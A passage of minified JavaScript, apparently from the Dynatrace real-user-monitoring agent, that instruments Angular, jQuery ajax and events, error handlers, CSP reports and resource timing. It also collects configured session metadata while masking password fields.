Sa[Db];try{Ka(Ra[Yb])}catch(Na){}}return Ca.call(ma,Ra)}}Wa=ma},"win")}function nb(ma){if(yb[ma]){var Ca=yb[ma];"function"===typeof Ca?(O=Ca,yb[ma]=V):Ca&&pa(Ca.push,Ca)&&(wa=Ca,Ga=wa.push,wa.push=aa)}else Ha.dT_.afpl(yb,ma,function(){return wa||O},function(Ra){"function"===typeof Ra?(O=Ra,Ha.dT_.rpl(yb,ma,void 0,V)):pa(Ra.push,Ra)&&(wa=Ra,Ga=Ra.push,Ha.dT_.apl(Ra,"push",function(){return Ga},function(Sa){Ga=Sa;"function"===typeof Sa&&Ha.dT_.rpl(Ra,"push",void 0,aa)},!0,"win"))},"win")}function lb(){Wa=
void 0;Ga=function(){};O=function(){};wa=[]}function jb(ma){ma.__dtInstrumented__=Eb}function Ab(ma){delete ma.__dtInstrumented__}function gc(ma){return!!ma.__dtInstrumented__}function Vb(){Ha.dT_.addE("DEBUG_INFO_REQUESTED",function(){return ka||R?null:{type:"anfi",severity:"Warning",text:"Angular Module not fully initialized yet!"}})}var Ha="undefined"!==typeof window?window:self,yb="undefined"!==typeof window?window:self,vb,ca=!1,Oa,Za,I,ka=!1,Ba=!1,$a,Cb=!1,bd,Qb={},Zb,q,D="get post put delete jsonp head patch".split(" "),
t,y="delete get head options patch post put request".split(" "),Y=["jsonp"],x=["post","put","patch"],oa=[],R=!1,O,wa,Ga,Wa,Eb={},Lb,Nb=!1,ac=0,rc,mc,Oc="g",Kc,gd=(mc={},mc.jqLiteReady=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.delegate=function(ma,Ca,Ra,Sa,Db,Yb){return Kc.aWF(ma,Ca,Ra,Sa,Db,Yb)},mc.promiseType=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.promiseCallback=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.http=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.errorLog=function(ma,Ca,
Ra){return Kc.aWF(ma,Ca,Ra)},mc.httpMethod=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.wrappedCallback=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.subscribe=function(ma,Ca,Ra,Sa,Db,Yb){return Kc.aWF(ma,Ca,Ra,Sa,Db,Yb)},mc.toPromise=function(ma,Ca,Ra,Sa,Db,Yb){return Kc.aWF(ma,Ca,Ra,Sa,Db,Yb)},mc.unsubscribe=function(ma,Ca,Ra,Sa,Db,Yb){return Kc.aWF(ma,Ca,Ra,Sa,Db,Yb)},mc.handleError=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},mc.processNavigations=function(ma,Ca,Ra){return Kc.aWF(ma,Ca,Ra)},
mc);(function(){var ma,Ca;return(Kc=yb.dT_)&&(null===(Ca=(ma=Ha.dT_).smbi)||void 0===Ca?void 0:Ca.call(ma,Oc))})()&&(Vb(),R||(Kc.initAngularNg=ib,nb("webpackJsonp"),Ha.dT_.scv("apn")&&nb(Ha.dT_.scv("apn")),Va(),Ha.dT_.ael(yb,"unload",lb)),ta())})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(L,C,H){void 0===H&&(H=0);var Q=-1;C&&(null===L||void 0===L?0:L.indexOf)&&(Q=L.indexOf(C,H));return Q}function La(L,C){if(!C)return"";var H=L+"=";L=ra(C,H);if(0>L)return"";for(;0<=L;){if(0===L||" "===C.charAt(L-1)||";"===C.charAt(L-1))return H=L+H.length,L=ra(C,";",L),0<=L?C.substring(H,L):C.substring(H);L=ra(C,H,L+H.length)}return""}function gb(L){var C=
L.split("@");L=C[0];C=C[1];try{if(document.querySelector){var H=document.querySelector(L);if(!H)return{info:"No elements matching the css selector '"+L+"' could be found."};if(C){if(Ea(H,C))return{value:"password input field"};var Q=H.getAttribute(C);return Q?{value:Q}:{info:"Specified attribute [".concat(C,"] contains no data.")}}var ia=H.innerText||H.textContent;return Pa(ia)?{value:ia}:{info:"Found element contains no text content."}}return-1<L.indexOf("name='")&&"content"===C?(ia=document.getElementsByName(L.substring(L.indexOf("'")+
1,L.lastIndexOf("'")))[0].getAttribute(C),Pa(ia)?{value:ia}:{info:"No data found in specified metatag content."}):{info:"document.querySelector is not supported on this browser... not collecting data for css selectors"}}catch(W){return{info:"ERROR: retrieving meta data using selector '"+L+"' failed for reason: "+(W.message||W)}}}function db(L){var C=/([^(\n]+)\(([^)]*)\)/.exec(L);if(!C||3!==C.length)return{info:"Expression config [".concat(L,"] does not match function format.")};var H=C[1],Q=C[2]?
C[2].split(";"):[];C=fa[H];if(!C||!H||Q.length<C.ag||Q.length>C.$f)return{info:"Function expression config [".concat(L,"] is not part of allowed functions or has invalid number of parameters.")};C=[];for(var ia=0;ia<Q.length;ia++){var W=Q[ia].split(":");if(2!==W.length)return{info:"Function parameters for expr [".concat(L,"] are not properly configured.")};var la=W[0];W=W[1];var ua=ta.dT_.pn(W);if("Number"!==la||isNaN(ua))if("String"===la)C.push(W);else if("Boolean"!==la||isNaN(ua)||1!==ua&&0!==ua)if("Null"===
la)C.push(null);else return{info:"ValueType: '".concat(la,"' or value: '").concat(W,"' is not valid.")};else C.push(!!ua);else C.push(ua)}a:{Q=Ma;ia=H.split(".");la=ia.length-1;for(ua=0;ua<la;ua++)if(Q=Q[ia[ua]],!Q){Q=null;break a}Q=Q[ia[la]]}if("function"===typeof Q)try{return W=Q.apply(void 0,C),{value:W}}catch(Ka){return{value:"dT_err",info:"Error occurred while invoking the function: '"+H+"' with the error: "+(Ka.message||Ka)}}return{info:"No function [".concat(L,"] is being found in a given scope to be executed.")}}
function Ea(L,C){return L&&"INPUT"===L.nodeName&&"password"===L.getAttribute("type")&&"value"===C.toLowerCase()}function Ua(L){function C(W,la,ua){return la?Ea(W,la)?"password input field":C(W[la],Q[ua+1],ua+1):W}try{var H=L;-1<L.indexOf("[")&&(H=L.replace(/\[([^\]]*)]/g,".$1"));var Q=H.split(".");var ia=C(Ma[Q[0]],Q[1],1);return Pa(ia)?{value:ia}:{info:"JS expression returned is null or undefined: ["+typeof ia+"]."}}catch(W){return{info:"There was an error evaluating the JS expression '"+L+"'!! error: "+
(W.message||W)}}}function Pa(L){return!!L||!1===L||0===L}function za(){var L=0,C="",H;for(H in S)if(ta.dT_.oHOP(S,H)){var Q=S[H];if(Q.Xb){var ia=U-L;if(C)Q.info="Metadata limit already reached. Skipping evaluation.";else if(1>ia)C=H,Q.info="Metadata limit reached. Metadata evaluation will stop here and will not be executed further.";else{var W=Q;var la=ta.dT_.ncv("mpl");(W=W.maxLength)&&(la=100*W);W=Q.Xb;var ua={};switch(Q.type){case "a":ua=gb(W);break;case "b":ua=Ua(W);break;case "c":ua=La(W,document.cookie);
ua=Pa(ua)?{value:ua}:{info:"No cookie [".concat(W,"] value found.")};break;case "d":var Ka=ta.dT_.loc();ua=W.toLowerCase();if(va[ua]&&ja===Ka)ua={value:va[ua]};else{ja=Ka;va={};var Hb=Ma.location.search?Ma.location.search.slice(1):Ka.split("?")[1];if(Hb){Hb=Hb.split("#")[0];Ka=0;for(Hb=Hb.split("&");Ka<Hb.length;Ka++){var ib=Hb[Ka].split("="),aa=ib[0];ib=ib[1]?ib[1]:"";aa=aa.toLowerCase();va[aa]||(va[aa]=ib)}ua=va[ua]?{value:va[ua]}:{info:"Searched expression [".concat(W,"] was not found in the querystring.")}}else ua=
{info:"URL does not contain any query string."}}break;case "e":ua=db(W)}W=ua.value;ua=ua.info;Pa(W)?("string"===typeof W&&(ia<la&&(W=W.substring(0,ia),ua="Because of available char length [".concat(ia,"] captured metadata value was trimmed.")),W.length>la&&(ua="Captured value is trimmed to configured string length of [".concat(la,"] because it is too long."),W=W.substring(0,la))),W=String(W),Q.value=W,L+=W.length):Q.value=null;ua&&(Q.info=ua)}}}return[L,C]}function ab(L){var C="";switch(L){case "a":C=
"CSS Selector";break;case "b":C="JavaScript Variable";break;case "c":C="Cookie";break;case "d":C="Query String";break;case "e":C="JavaScript Function"}return C}function ba(){za();var L=[],C;for(C in S)if(ta.dT_.oHOP(S,C)){var H=S[C],Q={id:C,type:ab(H.type),expression:H.Xb,value:H.value};H.info&&(Q.info=H.info);ta.dT_.apush(L,Q)}return L}function Z(){var L=ta.dT_.scv("md"),C=ta.dT_.scv("mdp"),H=ta.dT_.scv("mdl");U=ta.dT_.ncv("mmds");if(L){C=C.split(",");for(var Q={},ia=0,W=H.split(",");ia<W.length;ia++){var la=
W[ia].split("=");H=la[0];la=ta.dT_.pn(la[1]);isNaN(la)||(Q[H]=Math.round(la))}ia={};W=0;for(L=L.split(",");W<L.length;W++){var ua=L[W],Ka=ua.indexOf("=");H=ua.substring(0,Ka);la=ua.charAt(Ka+1);if("a"===la||"b"===la||"c"===la||"d"===la||"e"===la)ua=ta.dT_.de(ua.substring(Ka+2)),ia[H]={type:la,Xb:ua,value:null,hd:!1},Q[H]&&(ia[H].maxLength=Q[H])}for(Q=0;Q<C.length;Q++)H=C[Q],ia[H]&&(ia[H].hd=!0);S=ia}else S={}}function Aa(){ta.dT_.addE("CONFIG_UPDATE",Z);Z();ta.dT_.aBPSL(function(L,C,H,Q){if(L.ha(Q)){H=
za();C=H[0];H=H[1];var ia=[],W=ta.dT_.sNT();for(Ka in S)if(ta.dT_.oHOP(S,Ka)){var la=S[Ka].value,ua=S[Ka].hd;"undefined"!==typeof la&&null!==la&&(!ua&&W&&(la="dT_pv"),ia.push("".concat(Ka,",").concat(ta.dT_.aesc(la))))}var Ka=(Ka=ia.join(";"))&&encodeURIComponent(Ka);L.av(Q,"md",Ka,!0);C>=U&&(C=String(U),H&&(C+=","+H),L.av(Q,"mdlr",C,!0))}})}function na(){var L=[],C=za()[0],H=[],Q=[];for(W in S)if(ta.dT_.oHOP(S,W)){var ia=S[W];null!==ia.value&&"dT_err"!==ia.value||!ia.info||H.push("'".concat(ia.Xb,
"'(").concat(ab(ia.type),"): '").concat(ia.info,"'"));!ia.hd&&ta.dT_.sNT()&&Q.push("'".concat(ia.Xb,"'(").concat(ab(ia.type),")"))}if(H.length){var W=[];for(ia=0;ia<H.length;ia++)W.push({type:"mnc",text:H[ia],severity:"Info"});L.push({severity:"Info",text:"".concat(H.length," session/action ").concat(1<H.length?"properties":"property"," not collected"),type:"mnc",children:W})}Q.length&&L.push({severity:"Info",text:"Because of respected doNotTrack there are no session/action properties reported for: ".concat(Q.join(", ")),
type:"mdr"});C>=U&&L.push({severity:"Warning",text:'Session/action properties size exceeds the active limit of "'.concat(U,'"'),type:"mlr"});return L}var ta="undefined"!==typeof window?window:self,Ma="undefined"!==typeof window?window:self,Ja={ag:0,$f:0},fa={"window.Intercom":{ag:1,$f:1},"LC_API.get_last_visit_timestamp":Ja,"LC_API.get_visits_number":Ja,"LC_API.get_page_views_number":Ja,"LC_API.get_chats_number":Ja,"LC_API.get_visitor_id":Ja,"LC_API.get_chat_id":Ja},S={},va={},ja,U,eb;(function(){var L,
C;return(eb=Ma.dT_)&&(null===(C=(L=ta.dT_).smbi)||void 0===C?0:C.call(L,"h"))?(Aa(),ta.dT_.addE("DEBUG_INFO_REQUESTED",na),!0):!1})()&&(eb.gEMD=ba)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(aa){var qa=!1,V=-1;if(0===aa.length)aa={};else if(1===aa.length)if("object"===typeof aa[0])aa=aa[0];else{var pa=aa[0];aa={}}else"object"===typeof aa[0]?(aa=aa[0],V=1):"object"===typeof aa[1]?(qa=!0,pa=aa[0],aa=aa[1],V=2):(pa=aa[0],aa={});return{Hh:aa,url:pa,Ph:qa,Dh:V}}function La(){function aa(){if(!lb){var Ha=S.dT_.nw();lb=!0;S.dT_.st(function(){S.dT_.lx(Ab,
jb,!1,Ha)},0)}}var qa=Array.prototype.slice.call(arguments),V=ra(qa),pa=V.Hh,Va=V.url,nb=V.Ph;V=V.Dh;var lb=!1;pa.dT_depth=0;var jb=gb(Va,pa),Ab=S.dT_.ex("j"+Q,3,jb),gc=pa.beforeSend;pa.beforeSend=function(Ha,yb){yb=S.dT_.sch(yb,jb,Ab);var vb=Ha,ca=yb;if("undefined"!==typeof vb)for(var Oa in ca.headers)if(S.dT_.oHOP(ca.headers,Oa))try{vb.setRequestHeader(Oa,String(ca.headers[Oa]))}catch(Za){}if(gc){vb=void 0;try{vb=ib.beforeSend(gc,this,arguments)}catch(Za){throw"TypeError"===Za.name&&aa(),Za;}return vb}};
Va=[];nb&&Va.push(jb);Va.push(pa);if(-1!==V)for(nb=V;nb<qa.length;nb++)Va.push(qa[nb]);db(pa,"complete",Ab,aa,!0);db(pa,"success",Ab,aa,!1);db(pa,"error",Ab,aa,!1);qa=!0;try{var Vb=ib.ajax(eb.ajax,this,Va,Ab,jb,"j");try{qa=Vb&&Vb.statusText&&"canceled"===Vb.statusText||!1===Vb}catch(Ha){qa=!1}}finally{pa.dT_depth--,qa&&aa()}Ea(Vb,"always",Ab,aa,jb);Ea(Vb,"complete",Ab,aa,jb);Ea(Vb,"done",Ab,aa,jb);Ea(Vb,"fail",Ab,aa,jb);Ea(Vb,"error",Ab,aa,jb);return Vb}function gb(aa,qa){var V=va.jQuery?va.jQuery.ajaxSettings:
{},pa,Va;for(Va in V)S.dT_.oHOP(V,Va)&&"undefined"===typeof qa[Va]&&("function"===typeof V[Va]&&"jsonpCallback"!==Va?qa[Va]=V[Va]:"url"===Va&&(pa=V[Va]));"string"===typeof aa&&(qa.url=aa);"string"===typeof qa.success&&(qa.success=!1);aa=String(qa.url||pa);"undefined"===aa&&(aa=location.href);return aa}function db(aa,qa,V,pa,Va){if(Va||aa[qa]){var nb=aa[qa];aa[qa]=function(){S.dT_.ec(V);"error"===qa&&S.dT_.mx()&&Ua(arguments[0],arguments[1],arguments[2],V);var lb=!1;try{if("function"===typeof nb)var jb=
ib.onComplete(nb,this,arguments);else if(nb&&nb.length)for(var Ab=0;Ab<nb.length;Ab++)ib.onComplete(nb[Ab],this,arguments)}catch(gc){throw lb=!0,gc;}finally{S.dT_.lc(V),("complete"===qa||lb)&&pa()}return jb}}else S.dT_.mx()&&"error"===qa&&(aa[qa]=function(lb,jb,Ab){Ua(lb,jb,Ab,V)})}function Ea(aa,qa,V,pa,Va){if(aa){var nb=aa[qa];nb&&(aa[qa]=function(){for(var lb=[],jb=0;jb<arguments.length;jb++)lb[jb]=arguments[jb];var Ab=lb[0];lb=lb.slice();"function"===typeof Ab&&(lb[0]=function(){S.dT_.ec(V);try{return ib.promiseCallback(Ab,
this,arguments,V,Va,"j")}finally{S.dT_.lc(V),pa()}});return nb.apply(aa,lb)})}}function Ua(aa,qa,V,pa){try{"timeout"===qa?S.dT_.mxt(pa):"abort"===qa?S.dT_.mxc(pa):"parsererror"===qa?(S.dT_.mxp(V&&"object"===typeof V?V.message:"Parser Error",pa),S.dT_.rex(V,void 0,!1,"3")):"object"===typeof V?(S.dT_.mxf(aa.status,V.message||aa.statusText||qa,pa),S.dT_.rex(V,void 0,!1,"3")):S.dT_.mxf(aa.status,V||aa.statusText||qa,pa)}catch(Va){S.dT_.mxu(Va.message,pa)}}function Pa(aa){var qa=!Hb[aa];aa=Hb[aa]&&Hb[aa].Qa;
var V=S.dT_.scv("doNotDetect").split(",");if(aa&&V)for(var pa=0;pa<V.length;pa++)if(V[pa]===aa)return!0;return qa}function za(aa,qa){function V(Va){var nb=S.dT_.gci();if(0===pa.indexOf("KD")||0===pa.indexOf("KU")){var lb=Va.keyCode||Va.charCode;lb&&(pa=0===pa.indexOf("KD")?"KD"+lb:"KU"+lb)}if(lb=Va.target||Va.currentTarget||Va.srcElement||null){var jb=Va.isTrigger||!Va.originalEvent||!1===Va.originalEvent.isTrusted;nb||S.dT_.bcv("ote")&&jb||S.dT_.bi(lb,pa);jb=ib.generateWrapper(aa,this,arguments)}return jb}
var pa=Hb[qa]&&Hb[qa].Oa;if(!aa||Pa(qa))return aa;V.dtHook=!0;V.origHandler=aa;return V}function ab(aa){var qa=aa&&aa.handler;qa&&!qa.dtHook&&(aa.handler=za(qa,aa.type))}function ba(aa,qa){if(aa=aa[qa])for(qa=0;qa<aa.length;qa++)ab(aa[qa])}function Z(aa,qa,V){var pa=ib.data(eb.data,this,arguments);"undefined"!==typeof pa&&pa&&"events"===qa&&(ba(pa,"click"),ba(pa,"mouseup"),ba(pa,"mousedown"),ba(pa,"keydown"),ba(pa,"autocomplete"));return pa}function Aa(aa,qa){if(qa)for(var V=0,pa=qa;V<pa.length;V++)ab(pa[V]);
if(V=eb.handlers)return ib.eventHandler(V,this,arguments);if(Ka&&Ka.event.handlers&&Ka.event.handlers!==Aa)return ib.eventHandler(Ka.event.handlers,this,arguments)}function na(){var aa=S.dT_.cA(arguments);3===aa.length&&aa[2]&&"undefined"!==typeof aa[2].origHandler&&(aa[2]=aa[2].origHandler);return ib.off(eb.off,this,aa)}function ta(aa,qa,V){if(aa[qa]&&aa[qa]!==eb[qa]){if(L[qa])L[qa]();var pa=aa[qa];eb[qa]=aa[qa];var Va=!1;L[qa]=function(){Va=!0};aa[qa]=function(){return Va?ib.wrapperExecutor(pa,
this,arguments):ib.wrapperExecutor(V,this,arguments)}}}function Ma(){if(va.jQuery){Ka=va.jQuery;S.dT_.rpl(Ka,"data","j");S.dT_.rpl(Ka,"ajax","j");Q=Ka.fn.jquery||"0.0";var aa=Ka.migrateVersion;-1===S.dT_.aIOf(ia,Q)&&ia.push(Q);aa&&-1===S.dT_.aIOf(W,aa)&&W.push(aa);"undefined"===typeof H&&(aa=Q.split("."),H=S.dT_.cvs("1.3 1.4 1.5 1.6 1.6 1.7 1.8 1.9 1.10 1.11 1.12 2.0 2.1 2.2 3.0 3.1 3.2 3.3 3.4 3.5 3.6".split(" "),aa[0],aa[1],"jQuery"));H&&(ta(Ka,"ajax",La),S.dT_.ti(),ta(Ka,"data",Z),Ka.event&&ta(Ka.event,
"handlers",Aa),ta(Ka.fn,"off",na),la||(la=!0,S.dT_.ael(va,"unload",fa)))}}function Ja(){var aa=va.jQuery;aa&&aa.data&&aa.ajax&&Ma()}function fa(){var aa,qa;C||("undefined"!==typeof Ka&&(L.ajax&&L.ajax(),L.data&&L.data(),L.handlers&&L.handlers(),L.off&&L.off()),L=(aa={},aa.ajax=void 0,aa.handlers=void 0,aa.off=void 0,aa.data=void 0,aa),eb=(qa={},qa.ajax=void 0,qa.handlers=void 0,qa.off=void 0,qa.data=void 0,qa),C=!0);ia=[];W=[]}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?
window:self,ja,U,eb,L,C=!1,H,Q,ia,W,la=!1,ua=!1,Ka,Hb={click:{Oa:"C",Qa:"clk"},dblclick:{Oa:"CC",Qa:"dcl"},mouseup:{Oa:"U",Qa:"mup"},mousedown:{Oa:"D",Qa:"mdw"},keyup:{Oa:"KU",Qa:"kyu"},keydown:{Oa:"KD",Qa:"kyd"},scroll:{Oa:"S",Qa:"scr"},touchstart:{Oa:"TS",Qa:"tcs"},touchend:{Oa:"TE",Qa:"tce"},autocomplete:{Oa:"A",Qa:""}},ib=(ja={},ja.beforeSend=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.wrapperExecutor=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.onComplete=function(aa,qa,V){return U.aWF(aa,qa,
V)},ja.ajax=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja.generateWrapper=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.data=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.eventHandler=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.off=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.promiseCallback=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja);(function(){var aa,qa;U=va.dT_;ua=la=C=!1;eb={};L={};ia=[];W=[];return U&&(null===(qa=(aa=S.dT_).smbi)||void 0===qa?0:qa.call(aa,"j"))?
(S.dT_.afpl(va,"jQuery",null,function(){va.jQuery&&!va.jQuery.ajax?ua||(S.dT_.afpl(va.jQuery,"ajax",null,Ja,"j"),S.dT_.afpl(va.jQuery,"data",null,Ja,"j"),ua=!0):Ma()},"win"),S.dT_.addE("LOAD_END",Ja),S.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"fv",text:"jQuery: ["+ia+"]"+(W.length?", jQueryMigrate: ["+W+"]":""),severity:"Info"}}),!0):!1})()&&(U.initJQuery=Ma)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(H,Q,ia,W,la){var ua,Ka=!1;if(!va&&!S){S=!0;try{try{fa&&fa!==ra&&"function"===typeof fa&&(Ka=fa(H,Q,ia,W,la))}catch(Hb){na.dT_.rex(Hb,void 0,!0,"1")}Ka||na.dT_.re((ua={},ua.msg="string"===typeof H?H:"",ua.file=Q||"",ua.line=ia||-1,ua.column=W||-1,ua.error=la||"",ua.stackContainsWrapper=!1,ua.source="1",ua))}catch(Hb){}S=!1}return Ka}function La(H,Q,
ia){H[Q]=ia(H[Q])}function gb(H){try{if(!Ea(H))return H;var Q=H.dtwid;"number"===typeof Q&&U[Q]?U[Q].Ce++:(U[eb]={Da:H,Ce:1},H.dtwid=eb++);H.rxewrapper=H.rxewrapper||function(ia){if(ja)try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw na.dT_.rex(W,void 0,!0,"1"),db(),W;}else try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw W;}};return H.rxewrapper.rxewrapper=H.rxewrapper}catch(ia){return H}}function db(){va+=
1;na.dT_.st(function(){--va},0)}function Ea(H){return"[object Function]"===Object.prototype.toString.call(H)}function Ua(){var H=document.getElementsByTagName("html");(0===H.length||0<H.length&&!H[0].hasAttribute||0<H.length&&!H[0].hasAttribute("webdriver"))&&"EventTarget Window ModalWindow".replace(/\w+/g,function(Q){(Q=ta[Q]&&ta[Q].prototype)&&na.dT_.oHOP(Q,"addEventListener")&&(La(Q,"addEventListener",function(ia){return function(W,la,ua,Ka){la&&la.handleEvent&&(la.handleEvent=gb(la.handleEvent));
return ia.call(this,W,gb(la),ua,Ka)}}),La(Q,"removeEventListener",function(ia){return function(W,la,ua,Ka){try{return ia.call(this,W,la&&la.rxewrapper?la.rxewrapper:la,ua,Ka)}finally{la&&(W=la.dtwid,"number"===typeof W&&U[W]&&U[W].Da===la&&(U[W].Ce--,U[W].Ce||(delete la.rxewrapper,delete la.dtwid,delete U[W])))}}}));return""})}function Pa(){Ja=ta.dT_;if(!na.dT_.bcv("doel")){ta.onerror!==ra&&(Ja.rxehandler=ra,ta.onerror&&(fa=ta.onerror),ta.onerror=Ja.rxehandler);try{na.dT_.apl(ta,"onerror",function(){return ra},
function(H){fa=H})}catch(H){}na.dT_.ael(ta,"unload",function(){na.dT_.rpl(ta,"onerror","win");ta.onerror=null;for(var H in U)na.dT_.oHOP(U,H)&&(delete U[H].Da.rxewrapper,delete U[H].Da.dtwid);U={}});if(!ta.atob)ja=!1;else if(ta.ErrorEvent)try{0===(new ta.ErrorEvent("test")).colno&&(ja=!1)}catch(H){}ja&&Ua()}}function za(){for(var H=[],Q=0;Q<arguments.length;Q++)H[Q]=arguments[Q];var ia,W;for(Q=0;Q<H.length;Q++){var la=H[Q];!ia&&na.dT_.iIO(la,7)&&(ia=la);!W&&la&&"string"===typeof la&&(W=la)}(ia||W)&&
na.dT_.rex(ia||W,void 0,!1,"2");return C.apply(this,H)}function ab(H){var Q;if(Q="string"===typeof H.blockedURL&&"string"===typeof H.documentURL&&H.blockedURL&&H.documentURL){Q=H.blockedURL;var ia=na.dT_.scv("reportUrl"),W=void 0;void 0===W&&(W=0);var la=-1;ia&&(null===Q||void 0===Q?0:Q.indexOf)&&(la=Q.indexOf(ia,W));Q=-1===la}if(Q){Q=[];for(var ua in H)H[ua]&&"function"!==typeof H[ua]&&Q.push([String(ua),String(H[ua])]);Q.length&&na.dT_.cAE("_csprv_",Q,!0,void 0,1)}}function ba(H){var Q;"securitypolicyviolation"===
H.type&&ab((Q={},Q.sourceFile=H.sourceFile,Q.blockedURL=H.blockedURI,Q.documentURL=H.documentURI,Q.referrer=H.referrer,Q.disposition=H.disposition,Q.effectiveDirective=H.effectiveDirective||H.violatedDirective,Q.originalPolicy=H.originalPolicy,Q.statusCode=H.statusCode,Q.lineNumber=H.lineNumber,Q.columnNumber=H.columnNumber,Q.sample=H.sample,Q))}function Z(H){for(var Q=0;Q<H.length;Q++){var ia=H[Q];"csp-violation"===ia.type&&(ia=ia.body)&&ab(ia)}}function Aa(H){H.reason&&na.dT_.iIO(H.reason,7)?na.dT_.rex(H.reason,
void 0,!0,"4"):H.detail&&na.dT_.iIO(H.detail.reason,7)&&na.dT_.rex(H.detail.reason,void 0,!0,"4")}var na="undefined"!==typeof window?window:self,ta="undefined"!==typeof window?window:self,Ma,Ja,fa,S=!1,va=0,ja=!0,U={},eb=0,L=(Ma={},Ma.errorCallback=function(H,Q,ia,W,la,ua){return Ja.aWF(H,Q,ia,W,la,ua)},Ma),C;(function(){var H,Q;if(ta.dT_&&(null===(Q=(H=na.dT_).smbi)||void 0===Q?0:Q.call(H,"q"))&&(Pa(),na.dT_.bcv("lupr")&&na.dT_.ael(ta,"unhandledrejection",Aa),na.dT_.bcv("csprv")&&(ta.ReportingObserver?
(new ta.ReportingObserver(Z,{buffered:!0,types:["csp-violation"]})).observe():na.dT_.gBI().ff&&na.dT_.ael(document,"securitypolicyviolation",ba)),na.dT_.bcv("cce"))){var ia;null!==(ia=ta.console)&&void 0!==ia&&ia.error&&(C=ta.console.error,ta.console.error=za)}})()})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(t,y,Y,x){function oa(R){return R instanceof Y?R:new Y(function(O){O(R)})}return new (Y||(Y=ra))(function(R,O){function wa(Eb){try{Wa(x.next(Eb))}catch(Lb){O(Lb)}}function Ga(Eb){try{Wa(x["throw"](Eb))}catch(Lb){O(Lb)}}function Wa(Eb){Eb.done?R(Eb.value):oa(Eb.value).then(wa,Ga)}Wa((x=x.apply(t,y||[])).next())})}function gb(t,
y){function Y(Wa){return function(Eb){return x([Wa,Eb])}}function x(Wa){if(R)throw new TypeError("Generator is already executing.");for(;oa;)try{if(R=1,O&&(wa=Wa[0]&2?O["return"]:Wa[0]?O["throw"]||((wa=O["return"])&&wa.call(O),0):O.next)&&!(wa=wa.call(O,Wa[1])).done)return wa;if(O=0,wa)Wa=[Wa[0]&2,wa.value];switch(Wa[0]){case 0:case 1:wa=Wa;break;case 4:return oa.label++,{value:Wa[1],done:!1};case 5:oa.label++;O=Wa[1];Wa=[0];continue;case 7:Wa=oa.Ja.pop();oa.ia.pop();continue;default:if(!(wa=oa.ia,
wa=0<wa.length&&wa[wa.length-1])&&(6===Wa[0]||2===Wa[0])){oa=0;continue}if(3===Wa[0]&&(!wa||Wa[1]>wa[0]&&Wa[1]<wa[3]))oa.label=Wa[1];else if(6===Wa[0]&&oa.label<wa[1])oa.label=wa[1],wa=Wa;else if(wa&&oa.label<wa[2])oa.label=wa[2],oa.Ja.push(Wa);else{wa[2]&&oa.Ja.pop();oa.ia.pop();continue}}Wa=y.call(t,oa)}catch(Eb){Wa=[6,Eb],O=0}finally{R=wa=0}if(Wa[0]&5)throw Wa[1];return{value:Wa[0]?Wa[1]:void 0,done:!0}}var oa={label:0,J:function(){if(wa[0]&1)throw wa[1];return wa[1]},ia:[],Ja:[]},R,O,wa,Ga;return Ga=
{next:Y(0),"throw":Y(1),"return":Y(2)},"function"===typeof Symbol&&(Ga[Symbol.iterator]=function(){return this}),Ga}function db(t,y){void 0===y&&(y=0);return t.name+"_"+(t.startTime+y)+"_"+t.duration}function Ea(){try{performance.getEntries()[0].dt_test=!0,Va=performance.getEntries()[0].dt_test,nb=function(){return!!Va}}catch(t){}}function Ua(){pa=V.dT_;nb=qa.dT_.gBI().sf?function(){return!1}:function(){Ea();return!!Va}}function Pa(){function t(){}if(!Ab)return!1;Vb=Ab.getEntriesByType;Ha=Ab.getEntriesByName;
gc=Ab.setResourceTimingBufferSize;(yb=Ab.clearResourceTimings)&&(Ab.clearResourceTimings=t);Ab.webkitClearResourceTimings&&(Ab.webkitClearResourceTimings=t);return!!Vb&&!!Ha&&!!gc&&!!yb}function za(t){"function"===typeof Ab.addEventListener?Ab.addEventListener("resourcetimingbufferfull",t):"undefined"!==typeof Ab.onresourcetimingbufferfull&&(vb=Ab.onresourcetimingbufferfull,Ab.onresourcetimingbufferfull=t)}function ab(){try{"function"===typeof vb&&vb.call(Ab,new Event("resourcetimingbufferfull",{bubbles:!0,
cancelable:!0})),qa.dT_.st(function(){yb.call(Ab)},0)}catch(t){}}function ba(){Ab=V.performance;var t=Pa();t&&gc.call(Ab,1E3);return t}function Z(t){var y=t.detail;t=y.a;if(y=y.e)for(var Y=0;Y<y.length;Y++){var x=y[Y],oa=x.url;if(oa){var R=x.relevance||0;x={Ub:x.area,imageWidth:x.w,imageHeight:x.h,he:x.nw,ge:x.nh,gg:x.o,De:R,hh:x.ireason||0,G:t||0};if(!ca[oa]||R>ca[oa].De)ca[oa]=x}}}function Aa(t){return!!t&&isFinite(t)&&0<t}function na(t){var y=ca[t.name];"undefined"!==typeof y?(t.relevantArea=y.Ub,
